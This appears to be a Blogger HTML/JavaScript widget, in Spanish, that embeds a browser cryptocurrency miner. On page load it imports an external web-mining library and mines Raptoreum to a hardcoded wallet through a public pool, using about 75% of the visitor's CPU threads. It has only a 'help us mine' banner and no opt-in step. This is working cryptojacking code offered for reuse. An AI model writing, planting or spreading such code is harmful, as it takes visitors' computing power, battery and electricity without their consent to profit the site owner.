<!-- Widget HTML/JavaScript para Blogger: Minero de CPU para Raptoreum (¡Ayúdanos a minar!) -->
<div id="miner-widget" style="background:#f0f0f0; padding:15px; border:1px solid #ccc; border-radius:8px; font-family:Arial, sans-serif; max-width:400px;">
<h3 style="text-align:center; color:#333;">¡Ayúdanos a minar Raptoreum con tu CPU!</h3>
<p><strong>Hashrate actual:</strong> <span id="hashrate-display">0 H/s</span></p>
<p><strong>Estado:</strong> <span id="status-display">Iniciando...</span></p>
<p><strong>Jobs procesados:</strong> <span id="jobs-display">0</span></p>
<p>Los workers detectados aparecerán en el pool tras enviar shares (puede tardar 10-30 min por visitante).</p>
<small>Nota: Usa ~75% de tus núcleos CPU para evitar sobrecarga. Puedes cerrar la pestaña para detenerlo.</small>
<script type="module">
import * as cpuWebMiner from 'https://esm.run/@marco_ciaramella/cpu-web-miner';
// Wallet principal de Raptoreum
const wallet = "RQiFHmLvMs6694znhpWeGw7sC54T2WZju2";
// ID único por visitante (timestamp para diferenciar workers)
const workerID = Date.now();
const stratum = {
server: "europe.raptoreum.zone",
port: 3333,
worker: wallet + "." + workerID, // Cada visitante es un worker separado
password: "x",
ssl: false
};
// Calcula threads: ~75% de los disponibles para estabilidad
const maxThreads = navigator.hardwareConcurrency || 8;
let threads = Math.max(1, Math.floor(maxThreads * 0.75));
// Elementos del DOM
const hashrateDisplay = document.getElementById('hashrate-display');
const statusDisplay = document.getElementById('status-display');
const jobsDisplay = document.getElementById('jobs-display');
let jobsProcessed = 0;
let lastHashrate = 0;
// Inicia el minero
cpuWebMiner.start(
cpuWebMiner.ghostrider, // Algoritmo Ghostrider para Raptoreum
stratum,
null, // Sin proxy (directo al pool)
threads, // Número de threads
// Callback por job procesado (se llama frecuentemente)
() => {
jobsProcessed++;
jobsDisplay.textContent = jobsProcessed;
if (jobsProcessed % 50 === 0) {
statusDisplay.textContent = 'Minero activo (procesando jobs)';
}
},
// Callback de hashrate
(hashrate) => {
const formatted = hashrate.toFixed(2) + ' H/s';
hashrateDisplay.textContent = formatted;
// Ajuste automático simple: si el hashrate baja mucho, reduce threads
if (lastHashrate > 0 && hashrate < lastHashrate * 0.7 && threads > 1) {
threads--;
cpuWebMiner.setThreads(threads); // Ajusta threads dinámicamente (si la librería lo soporta)
statusDisplay.textContent = `Hashrate bajo - threads reducidos a ${threads}`;
}
lastHashrate = hashrate;
},
// Callback de error
(error) => {
console.error('Error en el minero:', error);
statusDisplay.textContent = `Error: ${error}`;
}
);
// Estado inicial
statusDisplay.textContent = `Minando Raptoreum... (Worker ID: ${workerID})`;
</script>
</div>
No comments:
Post a Comment